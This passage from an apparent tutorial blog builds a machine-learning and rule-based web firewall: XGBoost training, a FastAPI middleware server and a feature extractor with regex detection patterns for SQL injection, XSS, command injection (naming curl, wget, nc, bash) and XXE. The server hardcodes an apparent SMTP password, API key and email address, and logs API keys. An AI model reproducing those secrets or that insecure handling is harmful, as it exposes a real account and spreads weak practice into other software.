                   'contains_command_injection', 'contains_ldap_injection',
'contains_xxe_patterns',
```

```
                    'is_get_method', 'is_post_method', 'is_common_browser']:
            df[col] = df[col].clip(0, 1).astype(int)
        if col in ['url_length', 'request_length', 'ua_length',
'num_special_chars',
                    'num_digits', 'num_uppercase', 'parameter_count']:
            df[col] = df[col].clip(lower=0)
        if col == 'content_entropy':
            df[col] = df[col].clip(0, 8)
    logger.info(f"Validated dataset shape: {df.shape}")
    return df

def calculate_sample_weights(y, df):
    """Calculate sample weights based on critical pattern prevalence."""
    weights = np.ones(len(y))
    critical_patterns = {
        'contains_sql_keywords': 0.5,
        'contains_xss_patterns': 0.4,
        'contains_path_traversal': 0.4,
        'contains_command_injection': 0.8,
        'contains_ldap_injection': 1.8,
        'contains_xxe_patterns': 1.8
    }
    for feature, weight in critical_patterns.items():
        if feature in df.columns:
            prevalence = min(df[feature].mean(), 0.5)
            adjusted_weight = weight / (prevalence + 0.1)
            weights += df[feature].values * adjusted_weight
    weights = np.clip(weights, 0.5, 2.0)
    logger.info(f"Weights: Min={weights.min():.2f}, Max={weights.max():.2f}, Mean=
{weights.mean():.2f}")
    return weights

def main():
    """Main training function to build and save the model."""
    logger.info("Starting training...")
    if not os.path.exists(DATA_PATH):
        logger.error(f"Dataset not found: {DATA_PATH}")
        return

    df = pd.read_csv(DATA_PATH)
    if df.empty or df.shape[0] < 100:
        logger.error("Dataset too small or empty")
        return
    df = validate_and_prepare_df(df)
    if 'is_malicious' not in df.columns:
        logger.error("No 'is_malicious' column")
        return

    X = df[OWASP_FEATURES]
    y = df['is_malicious'].astype(int)
    logger.info(f"Class distribution: {y.value_counts().to_dict()}")

    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2,
random_state=42, stratify=y)
```

```
    X_train, X_val, y_train, y_val = train_test_split(X_train, y_train,
test_size=0.2, random_state=42, stratify=y_train)

    sample_weights = calculate_sample_weights(y_train, X_train)
    pos_weight = (y_train == 0).sum() / (y_train == 1).sum() * 0.9

    clf = XGBClassifier(
        objective='binary:logistic', n_estimators=200, learning_rate=0.05,
max_depth=5,
        subsample=0.8, colsample_bytree=0.7, reg_alpha=0.3, reg_lambda=0.3,
        random_state=42, scale_pos_weight=pos_weight
    )
    param_grid = {
        'learning_rate': [0.05, 0.1],
        'subsample': [0.8, 0.9]
    }
    grid_search = GridSearchCV(clf, param_grid, cv=3, scoring='f1', n_jobs=1)
    grid_search.fit(X_train, y_train, sample_weight=sample_weights)
    clf = grid_search.best_estimator_
    logger.info(f"Best params: {grid_search.best_params_}")

    selector = SelectFromModel(clf, threshold='median', prefit=True)
    X_train_sel = selector.transform(X_train)
    X_val_sel = selector.transform(X_val)
    X_test_sel = selector.transform(X_test)
    selected_features = [OWASP_FEATURES[i] for i in
selector.get_support(indices=True)]
    critical_features = ['contains_sql_keywords', 'contains_xss_patterns',
'contains_command_injection',
                         'contains_ldap_injection', 'contains_xxe_patterns']
    for feature in critical_features:
        if feature not in selected_features and feature in OWASP_FEATURES:
            selected_features.append(feature)
            idx = OWASP_FEATURES.index(feature)
            X_train_sel = np.column_stack([X_train_sel, X_train.iloc[:, idx]])
            X_val_sel = np.column_stack([X_val_sel, X_val.iloc[:, idx]])
            X_test_sel = np.column_stack([X_test_sel, X_test.iloc[:, idx]])

    clf.fit(X_train_sel, y_train, sample_weight=sample_weights)
    calibrator = CalibratedClassifierCV(clf, cv=3, method='sigmoid')
    calibrator.fit(X_val_sel, y_val)

    y_val_proba = calibrator.predict_proba(X_val_sel)[:, 1]
    _, _, thresholds = precision_recall_curve(y_val, y_val_proba)
    optimal_threshold = max(thresholds[np.argmax(thresholds >= 0.7)], 0.7)
    y_val_pred = (y_val_proba >= optimal_threshold).astype(int)

    logger.info("\nValidation Results:")
    logger.info(classification_report(y_val, y_val_pred))
    logger.info(f"Confusion Matrix:\n{confusion_matrix(y_val, y_val_pred)}")

    y_test_proba = calibrator.predict_proba(X_test_sel)[:, 1]
    y_test_pred = (y_test_proba >= optimal_threshold).astype(int)
    logger.info("\nTest Results:")
```

```
    logger.info(classification_report(y_test, y_test_pred))

    os.makedirs(os.path.dirname(MODEL_PATH), exist_ok=True)
    joblib.dump(clf, MODEL_PATH)
    joblib.dump(optimal_threshold, THRESHOLD_PATH)
    joblib.dump(selected_features, FEATURES_PATH)
    joblib.dump(calibrator, CALIBRATOR_PATH)
    logger.info("Training complete")

if __name__ == '__main__':
    main()
```

The best part of this project is that it is **OWASP TOP 10** rule based operator and Also AI system that capture obfuscated and unusual manipulated payloads. I was very happy to find out that the OWASP as good choice because it mad my job alot easy compared to what i was thinking.

The next part is to test the Upper architecture, and the only way i found to do so was to create a **FastAPI app** whith python in order to capture the request and analyse them

Running the Server

The `main.py` script sets up a FastAPI server that:

- Listens for POST requests at `/analyze`.
- Checks each request with the model and rules.
- Returns a 403 if it's malicious or a JSON response if it's safe.
- Offers a basic dashboard at `/dashboard` (which I'm planning to upgrade!).

I've tested it with `curl` commands, and it blocks stuff like `<script>alert('XSS')</script>` while letting `search=OpenAI` through—exactly what I wanted!

The following is the entire architecture of the server of made with FastAPI which made it possible to parse the request very easily.

```
from fastapi import FastAPI, Request, HTTPException, Depends, status
from fastapi.responses import JSONResponse, HTMLResponse
from fastapi.templating import Jinja2Templates
from fastapi.security import APIKeyHeader
from slowapi import Limiter, _rate_limit_exceeded_handler
from slowapi.util import get_remote_address
from slowapi.errors import RateLimitExceeded
import datetime
import joblib
import os
import pandas as pd
import json
from typing import Dict, Optional
import time
import numpy as np
import re
from urllib.parse import unquote
```

```
import requests
import aiosmtplib
from email.message import EmailMessage
from jinja2 import Template
import xml.etree.ElementTree as ET
from features import extract_features_from_request
import logging
from dotenv import load_dotenv

# Load environment variables
load_dotenv()
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %
(message)s')
logger = logging.getLogger(__name__)

app = FastAPI(title="AI Security Agent", version="3.1")
limiter = Limiter(key_func=get_remote_address)
app.state.limiter = limiter
app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler)

templates = Jinja2Templates(directory="templates")

# Environment variables with fallback
MODEL_PATH = os.getenv("MODEL_PATH", "G:/ai-security-agent-lab/ai-
agent/app/models/model.pkl")
THRESHOLD_PATH = os.getenv("THRESHOLD_PATH", "G:/ai-security-agent-lab/ai-
agent/app/models/threshold.pkl")
FEATURES_PATH = os.getenv("FEATURES_PATH", "G:/ai-security-agent-lab/ai-
agent/app/models/selected_features.pkl")
CALIBRATOR_PATH = os.getenv("CALIBRATOR_PATH", "G:/ai-security-agent-lab/ai-
agent/app/models/calibrator.pkl")
DEBUG_LOG_PATH = os.getenv("DEBUG_LOG_PATH", "G:/ai-security-agent-lab/ai-
agent/app/logs/debug_requests.log")
BLOCKED_REQUESTS_LOG = os.getenv("BLOCKED_REQUESTS_LOG", "G:/ai-security-agent-
lab/ai-agent/app/logs/blocked_requests.log")
ALL_REQUESTS_LOG = os.getenv("ALL_REQUESTS_LOG", "G:/ai-security-agent-lab/ai-
agent/app/logs/all_requests.log")
HF_API_TOKEN = os.getenv("HF_API_TOKEN", "")
HF_API_URL = os.getenv("HF_API_URL", "https://api-
inference.huggingface.co/models/unitary/toxic-bert")
SMTP_HOST = os.getenv("SMTP_HOST", "smtp.gmail.com")
SMTP_PORT = int(os.getenv("SMTP_PORT", 587))
SMTP_USER = os.getenv("SMTP_USER", "thierrynshimiyumukiza@gmail.com")
SMTP_PASS = os.getenv("SMTP_PASS", "zfui tvar rlxw okil")
NOTIFY_EMAIL = os.getenv("NOTIFY_EMAIL", "thierrynshimiyumukiza@gmail.com")
API_KEY = os.getenv("API_KEY", "5gLFQBhYoTlVcHpxTYGokIpChrQJl3HN")

api_key_header = APIKeyHeader(name="X-API-Key", auto_error=False)

async def get_api_key(api_key: str = Depends(api_key_header)) -> str:
    if not api_key or api_key != API_KEY:
        logger.warning(f"Invalid API key attempt: {api_key}")
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
```

```
            detail="Invalid API key",
            headers={"WWW-Authenticate": "Bearer"},
        )
    logger.info(f"Valid API key accepted: {api_key}")
    return api_key

class SecurityModel:
    def __init__(self):
        self.model = None
        self.threshold = 0.70
        self.effective_threshold = 0.70
        self.feature_names = []
        self.calibrator = None
        self.loaded = False

    def load_models(self):
        try:
            self.model = joblib.load(MODEL_PATH)
            self.threshold = max(min(joblib.load(THRESHOLD_PATH), 0.85), 0.70)
            self.feature_names = joblib.load(FEATURES_PATH)
            self.calibrator = joblib.load(CALIBRATOR_PATH)
            self.loaded = True
            logger.info(f"Loaded models: {len(self.feature_names)} features,
threshold {self.threshold}")
        except Exception as e:
            logger.error(f"Model load error: {e}")
            self.loaded = False

    def predict(self, features_dict: Dict) -> tuple[float, int]:
        if not self.loaded:
            return 0.0, 0
        try:
            features = [features_dict.get(f, 0) for f in self.feature_names]
            df = pd.DataFrame([features], columns=self.feature_names)
            prob = self.calibrator.predict_proba(df)[0, 1] if self.calibrator else
self.model.predict_proba(df)[0, 1]
            pred = 1 if prob >= self.effective_threshold else 0
            return prob, pred
        except Exception as e:
            logger.error(f"Predict error: {e}")
            return 0.0, 0

class OWASPRulesEngine:
    @staticmethod
    def is_whitelisted_request(text: str, path: str) -> bool:
        if not text.strip():
            return True
        try:
            decoded = unquote(text)
        except:
            decoded = text
        decoded_lower = decoded.lower()
        benign_patterns = [
            r'^search=[a-zA-Z0-9\s\+\-]+$',
```

```
            r'^query=[a-zA-Z0-9\s\+\-]+$',
            r'^email=[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$',
            r'^username=[a-zA-Z0-9_-]+$',
            r'^password=[a-zA-Z0-9!@#$%^&*()_+-=]+$',
            r'^name=[a-zA-Z\s]+$',
            r'^title=[a-zA-Z0-9\s]+$',
            r'^message=[a-zA-Z0-9\s\.!,?]+$',
            r'^content=[a-zA-Z0-9\s\.!,?]+$',
            r'^q=[a-zA-Z0-9\s\+]+$',
            r'^term=[a-zA-Z0-9\s]+$',
            r'^id=\d+$', r'^page=\d+$', r'^limit=\d+$', r'^offset=\d+$',
        ]
        params = decoded_lower.split('&')
        for param in params:
            param = param.strip()
            if not param or any(re.match(p, param) for p in benign_patterns):
                continue
            if '=' in param:
                key, value = param.split('=', 1)
                common_keys = ['search', 'query', 'email', 'username', 'name',
'title', 'message', 'content', 'q', 'term', 'id', 'page', 'limit', 'offset',
'sort', 'order', 'filter', 'type']
                if key in common_keys and len(value) < 200 and re.match(r'^[a-zA-
Z0-9\s\.@\-_\+!?=]*$', value):
                    continue
            return False
        return True

    @staticmethod
    def check_critical_patterns(features: Dict, text: str) -> tuple[bool, str]:
        if not text:
            return False, ""
        try:
            decoded = unquote(text)
        except:
            decoded = text
        decoded_lower = decoded.lower()
        sql_patterns = [
            r"'\s+or\s+1=1\s*--", r"union\s+select.*from",
r"insert\s+into.*values",
            r"drop\s+table", r"exec\(|exec\x20", r"waitfor\s+delay", r"sleep\s*\
(",
            r"benchmark\s*\(", r";\s*select", r"'\s+union\s+"
        ]
        for p in sql_patterns:
            if re.search(p, decoded_lower, re.IGNORECASE):
                return True, f"critical_sql_pattern_{p[:15]}"
        xss_patterns = [
            r"<script[^>]*>.*</script>", r"javascript:\s*alert", r"onload\s*=\s*
[^>]*",
            r"onerror\s*=\s*[^>]*", r"onclick\s*=\s*[^>]*", r"eval\s*\(",
r"document\.cookie"
        ]
        for p in xss_patterns:
```

```
            if re.search(p, decoded_lower, re.IGNORECASE):
                return True, f"critical_xss_pattern_{p[:15]}"
        cmd_patterns = [
            r"[;&|`]\s*(ls|cat|rm|wget|curl|nc|bash|sh)\s", r"\$\{.*\}", r"\
(\s*.*\s*\)",
            r"\|.*\s*cat", r";\s*rm\s+-"
        ]
        for p in cmd_patterns:
            if re.search(p, decoded_lower, re.IGNORECASE):
                return True, f"critical_cmd_pattern_{p[:15]}"
        if re.search(r"\.\./\.\./\.\./", decoded_lower):
            return True, "critical_path_traversal"
        ldap_patterns = [r"\(\w+=.*\)", r"\*\w+\*", r"null.*null"]
        for p in ldap_patterns:
            if re.search(p, decoded_lower):
                return True, f"critical_ldap_pattern_{p[:10]}"
        if (features.get('contains_command_injection', 0) > 0 and
features.get('injection_pattern_score', 0) >= 9):
            return True, "high_confidence_command_injection"
        if (features.get('contains_xss_patterns', 0) > 0 and
features.get('content_entropy', 0) > 7.0 and
features.get('injection_pattern_score', 0) >= 8):
            return True, "high_confidence_xss"
        if (features.get('contains_sql_keywords', 0) >= 3 and
features.get('injection_pattern_score', 0) >= 9):
            return True, "high_confidence_sql_injection"
        return False, ""

class SecurityLogger:
    @staticmethod
    def log_request(data: Dict, path: str):
        try:
            os.makedirs(os.path.dirname(path), exist_ok=True)
            with open(path, "a", encoding="utf-8") as f:
                f.write(json.dumps(data, default=str) + "\n")
        except Exception as e:
            logger.error(f"Log error {path}: {e}")

    @staticmethod
    async def log_security_event(event_type: str, request: Request, details:
Dict):
        data = {
            "timestamp": datetime.datetime.now().isoformat(),
            "event_type": event_type,
            "url": str(request.url),
            "method": request.method,
            "client_ip": request.client.host if request.client else "unknown",
            **details
        }
        log_path = BLOCKED_REQUESTS_LOG if event_type in ["blocked", "suspicious"]
else ALL_REQUESTS_LOG
        SecurityLogger.log_request(data, log_path)
        SecurityLogger.log_request(data, DEBUG_LOG_PATH)
        if event_type == "blocked":
```

```
            reason = details.get("reason", "unknown")
            mitigation = get_mitigation_steps(reason)
            await send_email_notification(data, reason, mitigation)

def get_mitigation_steps(reason: str) -> str:
    mitigations = {
        "critical_sql_pattern_': or 1=1 --": "Use parameterized queries. OWASP
SQLi Prevention Cheat Sheet.",
        "critical_xss_pattern_<script": "Implement output encoding and CSP. OWASP
XSS Prevention Cheat Sheet.",
        "critical_cmd_pattern_[;&|`]": "Avoid shell commands; use whitelists.
OWASP Command Injection.",
        "critical_path_traversal": "Validate file paths against allowlists.",
        "critical_ldap_pattern_(": "Escape LDAP special characters in queries.",
        "high_confidence_command_injection": "Sanitize inputs for shell
commands.",
        "high_confidence_xss": "Use Content Security Policy and encode outputs.",
        "high_confidence_sql_injection": "Adopt prepared statements for database
queries.",
        "llm_toxic": "Review request for malicious intent; sanitize inputs.",
        "ml_detection": "Review ML features; consider retraining model.",
        "unknown": "Investigate logs and update security rules."
    }
    return mitigations.get(reason, mitigations["unknown"])

async def send_email_notification(data: Dict, reason: str, mitigation: str):
    if not SMTP_USER or not SMTP_PASS:
        logger.warning("Email config missing")
        return
    subject = f"AI Security Alert: {reason.upper()} Detected"
    template = Template("""
    <html>
    <body>
        <h2>AI Security Agent Alert</h2>
        <p><strong>Timestamp:</strong> {{ timestamp }}</p>
        <p><strong>URL:</strong> {{ url }}</p>
        <p><strong>Method:</strong> {{ method }}</p>
        <p><strong>Client IP:</strong> {{ client_ip }}</p>
        <p><strong>Reason:</strong> {{ reason }}</p>
        <p><strong>Mitigation:</strong> {{ mitigation }}</p>
        <p><strong>Details:</strong> <pre>{{ details }}</pre></p>
    </body>
    </html>
    """)
    body_html = template.render(
        timestamp=data["timestamp"], url=data["url"], method=data["method"],
        client_ip=data["client_ip"], reason=reason, mitigation=mitigation,
        details=json.dumps(data.get("features", {}), indent=2)
    )
    msg = EmailMessage()
    msg["From"] = SMTP_USER
    msg["To"] = NOTIFY_EMAIL
    msg["Subject"] = subject
    msg.set_content(body_html, subtype="html")
```

```
    try:
        await aiosmtplib.send(msg, hostname=SMTP_HOST, port=SMTP_PORT,
username=SMTP_USER, password=SMTP_PASS, use_tls=True)
        logger.info("Email notification sent")
    except Exception as e:
        logger.error(f"Email send error: {e}")

async def hf_threat_analysis(body_text: str) -> Dict[str, str]:
    if not body_text or len(body_text) < 10 or not re.search(r'[<>;=\'"&]',
body_text):
        return {"threat_level": "low", "reason": "Low risk or empty text",
"mitigation": "None needed"}
    if not HF_API_TOKEN:
        logger.warning("HF_API_TOKEN missing, skipping LLM analysis")
        return {"threat_level": "medium", "reason": "LLM disabled", "mitigation":
"Fallback to rules/ML"}
    try:
        headers = {"Authorization": f"Bearer {HF_API_TOKEN}"}
        payload = {"inputs": body_text[:500]}
        resp = requests.post(HF_API_URL, json=payload, headers=headers,
timeout=10)
        result = resp.json()
        score = max([item['score'] for item in result if
item['label'].startswith('toxic')]) if result else 0.0
        threat_level = "high" if score > 0.8 else "medium" if score > 0.5 else
"low"
        reason = f"Toxic score: {score:.2f}" if result else "Analysis failed"
        mitigation = "Review request for malicious intent; sanitize inputs." if
threat_level == "high" else "Monitor request patterns."
        return {"threat_level": threat_level, "reason": reason, "mitigation":
mitigation}
    except Exception as e:
        logger.error(f"Hugging Face error: {e}")
        return {"threat_level": "medium", "reason": f"Analysis failed: {str(e)}",
"mitigation": "Fallback to rules/ML"}

security_model = SecurityModel()
rules_engine = OWASPRulesEngine()

@app.on_event("startup")
async def startup_event():
    try:
        security_model.load_models()
        logger.info("AI Security Agent Started | Model Loaded: True | Threshold:
0.7")
    except Exception as e:
        logger.error(f"Startup error: {e}")

@app.middleware("http")
async def security_middleware(request: Request, call_next):
    start_time = time.time()
    try:
        if request.url.path in ["/", "/health"]:
            response = await call_next(request)
```

```
            response.headers["X-Process-Time"] = f"{time.time() -
start_time:.3f}s"
            return response

        body = await request.body()
        body_text = body.decode("utf-8", errors="ignore") if body else ""
        content_type = request.headers.get("content-type", "").lower()
        if "json" in content_type:
            try:
                body_json = json.loads(body_text)
                body_text = json.dumps(body_json)
            except:
                pass
        elif "xml" in content_type:
            try:
                root = ET.fromstring(body_text)
                body_text = ET.tostring(root, encoding="unicode")
            except:
                pass

        if rules_engine.is_whitelisted_request(body_text, str(request.url.path)):
            response = await call_next(request)
            response.headers["X-Security-Check"] = "whitelisted"
            response.headers["X-Process-Time"] = f"{time.time() -
start_time:.3f}s"
            await SecurityLogger.log_security_event("allowed", request,
{"whitelisted": True, "body_preview": body_text[:100]})
            return response

        features = extract_features_from_request(request, body_text)
        critical_block, reason = rules_engine.check_critical_patterns(features,
body_text)

        llm_analysis = await hf_threat_analysis(body_text)
        if llm_analysis["threat_level"] == "high":
            critical_block = True
            reason = reason or "llm_toxic"

        if critical_block:
            await SecurityLogger.log_security_event("blocked", request, {
                "reason": reason, "features": {k: v for k, v in
list(features.items())[:5]},
                "llm_analysis": llm_analysis, "body_preview": body_text[:100]
            })
            mitigation = get_mitigation_steps(reason)
            return JSONResponse(
                status_code=403,
                content={
                    "error": "Request blocked by AI agent",
                    "reason": reason,
                    "mitigation": mitigation
                },
                headers={"X-Blocked-By": "rules-or-llm"}
            )
```

```
        if features.get('injection_pattern_score', 0) == 0 and
features.get('content_entropy', 0) < 3.0:
            response = await call_next(request)
            response.headers["X-Security-Check"] = "low_risk"
            response.headers["X-Process-Time"] = f"{time.time() -
start_time:.3f}s"
            await SecurityLogger.log_security_event("allowed", request, {
                "low_risk": True, "body_preview": body_text[:100]
            })
            return response

        ml_probability, ml_prediction = security_model.predict(features)
        if ml_prediction == 1 and ml_probability >
security_model.effective_threshold:
            await SecurityLogger.log_security_event("blocked", request, {
                "probability": ml_probability,
                "threshold": security_model.effective_threshold,
                "features": {k: v for k, v in list(features.items())[:5]},
                "body_preview": body_text[:100],
                "blocked_by": "ml_model"
            })
            return JSONResponse(
                status_code=403,
                content={
                    "error": "Request blocked by ML model",
                    "malicious_probability": ml_probability,
                    "mitigation": get_mitigation_steps("ml_detection")
                },
                headers={"X-Blocked-By": "ml-model"}
            )

        response = await call_next(request)
        response.headers["X-Security-Check"] = "passed"
        response.headers["X-Process-Time"] = f"{time.time() - start_time:.3f}s"
        response.headers["X-Content-Type-Options"] = "nosniff"
        response.headers["X-Frame-Options"] = "DENY"
        await SecurityLogger.log_security_event("allowed", request, {
            "ml_probability": ml_probability,
            "features_summary": {k: v for k, v in list(features.items())[:5]}
        })
        return response

    except HTTPException as e:
        await SecurityLogger.log_security_event("error", request, {"error":
str(e.detail)})
        raise
    except Exception as e:
        await SecurityLogger.log_security_event("error", request, {"error":
str(e)})
        return JSONResponse(
            status_code=500,
            content={"error": f"Internal server error: {str(e)}"}
        )
```

```
@app.post("/analyze")
@limiter.limit("10/minute")
async def analyze(request: Request):
    try:
        body = await request.body()
        body_text = body.decode("utf-8", errors="ignore") if body else ""
        content_type = request.headers.get("content-type", "").lower()
        if "json" in content_type:
            try:
                body_json = json.loads(body_text)
                body_text = json.dumps(body_json)
            except:
                pass
        elif "xml" in content_type:
            try:
                root = ET.fromstring(body_text)
                body_text = ET.tostring(root, encoding="unicode")
            except:
                pass

        if rules_engine.is_whitelisted_request(body_text, str(request.url.path)):
            result = {
                "request_analysis": {
                    "body_preview": body_text[:100],
                    "is_whitelisted": True,
                    "critical_pattern_detected": False,
                    "critical_reason": None
                },
                "ml_analysis": {
                    "probability": 0.0,
                    "prediction": 0,
                    "threshold": security_model.threshold,
                    "model_loaded": security_model.loaded
                },
                "llm_analysis": {"threat_level": "low", "reason": "Whitelisted",
"mitigation": "None"},
                "decision": {
                    "would_be_blocked": False,
                    "blocking_reason": "whitelisted",
                    "final_verdict": "ALLOWED"
                },
                "features_preview": {}
            }
            await SecurityLogger.log_security_event("allowed", request, result)
            return result

        features = extract_features_from_request(request, body_text)
        critical_block, reason = rules_engine.check_critical_patterns(features,
body_text)
        llm_analysis = await hf_threat_analysis(body_text)
        ml_probability, ml_prediction = security_model.predict(features)

        would_be_blocked = critical_block or (ml_prediction == 1 and
```

```
ml_probability > security_model.effective_threshold) or
llm_analysis["threat_level"] == "high"
        blocking_reason = reason or ("llm_toxic" if llm_analysis["threat_level"]
== "high" else "ml_detection" if ml_prediction == 1 else "none")

        result = {
            "request_analysis": {
                "body_preview": body_text[:100],
                "is_whitelisted": False,
                "critical_pattern_detected": critical_block,
                "critical_reason": reason
            },
            "ml_analysis": {
                "probability": ml_probability,
                "prediction": ml_prediction,
                "threshold": security_model.threshold,
                "model_loaded": security_model.loaded
            },
            "llm_analysis": llm_analysis,
            "decision": {
                "would_be_blocked": would_be_blocked,
                "blocking_reason": blocking_reason,
                "final_verdict": "BLOCKED" if would_be_blocked else "ALLOWED"
            },
            "features_preview": dict(list(features.items())[:10])
        }

        await SecurityLogger.log_security_event("analysis", request, result)
        if would_be_blocked:
            mitigation = get_mitigation_steps(blocking_reason)
            return JSONResponse(
                status_code=403,
                content={
                    "error": "Request blocked by AI agent",
                    "reason": blocking_reason,
                    "mitigation": mitigation
                },
                headers={"X-Blocked-By": "rules-or-llm" if critical_block or
llm_analysis["threat_level"] == "high" else "ml-model"}
            )
        return result

    except Exception as e:
        await SecurityLogger.log_security_event("error", request, {"error":
str(e)})
        return JSONResponse(status_code=500, content={"error": f"Analysis error:
{str(e)}"})

@app.get("/dashboard", response_class=HTMLResponse)
@limiter.limit("5/minute")
async def dashboard(request: Request, api_key: str = Depends(get_api_key)):
    stats = await get_security_stats()
    recent_blocks = []
    try:
```

```
        with open(BLOCKED_REQUESTS_LOG, "r", encoding="utf-8") as f:
            lines = f.readlines()[-10:]
            recent_blocks = [json.loads(line) for line in lines if line.strip()]
    except:
        pass
    return templates.TemplateResponse("dashboard.html", {"request": request,
"stats": stats, "recent_blocks": recent_blocks})

@app.get("/security/stats")
async def get_security_stats(api_key: str = Depends(get_api_key)):
    stats = {
        "system": {
            "model_loaded": security_model.loaded,
            "threshold": security_model.threshold,
            "feature_count": len(security_model.feature_names),
            "server_time": datetime.datetime.now().isoformat()
        },
        "requests": {
            "total_blocked": 0,
            "blocked_by_rules": 0,
            "blocked_by_ml": 0,
            "blocked_by_llm": 0,
            "total_allowed": 0
        }
    }
    try:
        if os.path.exists(BLOCKED_REQUESTS_LOG):
            with open(BLOCKED_REQUESTS_LOG, "r", encoding="utf-8") as f:
                lines = f.readlines()
                blocked = [json.loads(line) for line in lines if line.strip()]
                stats["requests"]["total_blocked"] = len(blocked)
                stats["requests"]["blocked_by_rules"] = len([r for r in blocked if
r.get('blocked_by') == 'rules-or-llm' and r.get('reason',
'').startswith('critical')])
                stats["requests"]["blocked_by_ml"] = len([r for r in blocked if
r.get('blocked_by') == 'ml-model'])
                stats["requests"]["blocked_by_llm"] = len([r for r in blocked if
r.get('reason') == 'llm_toxic'])
        if os.path.exists(ALL_REQUESTS_LOG):
            with open(ALL_REQUESTS_LOG, "r", encoding="utf-8") as f:
                lines = f.readlines()
                stats["requests"]["total_allowed"] = len([json.loads(line) for
line in lines if line.strip() and json.loads(line).get('event_type') ==
'allowed'])
    except Exception as e:
        stats["error"] = f"Stats load error: {str(e)}"
    return stats

@app.get("/health")
async def health_check():
    return {
        "status": "healthy",
        "timestamp": datetime.datetime.now().isoformat(),
        "model_loaded": security_model.loaded,
```

```
            "threshold": security_model.threshold,
            "components": {
                "model": security_model.model is not None,
                "features": len(security_model.feature_names) > 0,
                "calibrator": security_model.calibrator is not None
            }
        }

    @app.get("/")
    async def root():
        return {
            "message": "AI Security Agent v3.1",
            "endpoints": {
                "POST /analyze": "Analyze request for threats",
                "GET /dashboard": "View security dashboard",
                "GET /security/stats": "Security statistics",
                "GET /health": "Health check"
            },
            "security_settings": {
                "ml_threshold": security_model.effective_threshold,
                "rule_based_blocking": "enabled",
                "llm_analysis": "enabled (Hugging Face toxic-bert)",
                "whitelisting": "enabled"
            }
        }

    if __name__ == "__main__":
        import uvicorn
        uvicorn.run(app, host="0.0.0.0", port=8000)
```

However, the above architecture of the fast-api can not work anywhere without the help of features. because the server needs to understand the features, right? that is why i made fast-api rely on the following feature architecture in order to be councious about what is comming. I would say that Feature architecture plays an integral part in the fastAPI functionlities.

Bellow i am showing you how you can create the your feature architecture that will contain numerous features and propotions of the payload that will target the server.

```
import re
import pandas as pd
from scipy.stats import entropy
from urllib.parse import urlparse, parse_qs, unquote
from typing import Dict
import numpy as np
import json
import xml.etree.ElementTree as ET

class OWASPFeatureExtractor:
    SQL_KEYWORDS =
r'\b(union\s+select|select\s+.*\s+from|insert\s+into|drop\s+table|update\s+.*\s+se
t|delete\s+from|exec\s*\(|sleep\s*\(|waitfor\s+delay|benchmark\s*\(\)\b'
```

```
    XSS_PATTERNS =
r'\b(script\s*>|javascript:|onerror\s*=|onload\s*=|onmouseover\s*=|alert\s*\
(|document\.cookie|eval\s*\(|fromcharcode\s*\(|window\.location)\b|<script\s*>'
    PATH_TRAVERSAL =
r'\.\./|\.\.\\|%2e%2e%2f|%2e%2e%5c|\.%00|\.\.%00|/\.\./|\\\.\.\\'
    COMMAND_INJECTION = r'[;&|`]\s*
(ls|cat|rm|wget|curl|nc|netcat|bash|sh|cmd|powershell)\b'
    SSRF_PATTERNS = r'(https?
|ftp|file|gopher|dict)://(127\.0\.0\.1|localhost|192\.168|10\.|172\.(1[6-9]|2[0-
9]|3[0-1]))\b'
    SENSITIVE_PATHS =
r'/(admin|config|database|backup|\.git|\.env|\.htaccess|phpmyadmin|mysql|wp-
admin|\.svn|\.idea)\b'
    ADMIN_KEYWORDS = r'\b(admin|root|administrator|superuser|sysadmin)\b'
    LDAP_INJECTION = r'\(\w+=.*\)|\\*\w+\\*|\bnull\s+.*\s+null\b'
    XXE_PATTERNS = r'<!ENTITY\s+|<!DOCTYPE\s+.*SYSTEM|%[a-f0-9]{2};|&[a-z]+;'
    WEAK_CIPHER_INDICATORS = r'\b(SSLv2|SSLv3|TLSv1\.0|RC4|DES|MD5|SHA1)\b'
    AUTH_PATHS = r'/(login|signin|auth|authenticate|oauth|sso)\b'
    CREDENTIAL_PATTERNS = r'\b(password|passwd|pwd|secret|key|token|auth)\b'
    SERIALIZATION_PATTERNS = r'\b(rO0|base64|serialized|deseriali[zs]e)\b'
    INTERNAL_IP = r'\b(127\.0\.0\.1|192\.168\.[0-1]\.[0-9]{1,3}|10\.[0-9]{1,3}\.
[0-9]{1,3}\.[0-9]{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.[0-9]{1,3}\.[0-9]{1,3})\b'
    COMMON_BROWSERS = ['mozilla', 'chrome', 'firefox', 'safari', 'edge', 'msie',
'opera', 'webkit']

    @staticmethod
    def _calculate_entropy(text: str) -> float:
        if not text:
            return 0.0
        text = str(text)
        counter = pd.Series(list(text)).value_counts()
        text_length = len(text)
        probabilities = counter / text_length
        return entropy(probabilities.to_numpy()) if len(counter) > 0 else 0.0

    @staticmethod
    def extract_features_from_request(request, body: str = '') -> Dict[str,
float]:
        try:
            request_url = str(request.url)
            method = request.method
            user_agent = request.headers.get('user-agent', 'unknown')
            content_type = request.headers.get('content-type', '').lower()
            content = body
            if 'json' in content_type:
                try:
                    body_json = json.loads(body)
                    content = json.dumps(body_json)
                except:
                    pass
            elif 'xml' in content_type:
                try:
                    root = ET.fromstring(body)
                    content = ET.tostring(root, encoding='unicode')
```

```
                except:
                    pass
            content += request_url
            content_lower = content.lower()
            parsed_url = urlparse(request_url)
            query_params = parse_qs(parsed_url.query)
            features = {
                'url_length': len(request_url),
                'num_special_chars': sum(not c.isalnum() for c in content),
                'contains_sql_keywords': sum(1 for _ in
re.finditer(OWASPFeatureExtractor.SQL_KEYWORDS, content_lower, re.IGNORECASE)),
                'contains_xss_patterns': sum(1 for _ in
re.finditer(OWASPFeatureExtractor.XSS_PATTERNS, content_lower, re.IGNORECASE)),
                'contains_path_traversal':
int(bool(re.search(OWASPFeatureExtractor.PATH_TRAVERSAL, content_lower,
re.IGNORECASE))),
                'request_length': len(content),
                'request_time': 0.1,
                'is_get_method': int(method.upper() == 'GET'),
                'is_post_method': int(method.upper() == 'POST'),
                'ua_length': len(user_agent),
                'is_common_browser': int(any(b in user_agent.lower() for b in
OWASPFeatureExtractor.COMMON_BROWSERS)),
                'content_entropy':
float(OWASPFeatureExtractor._calculate_entropy(content)),
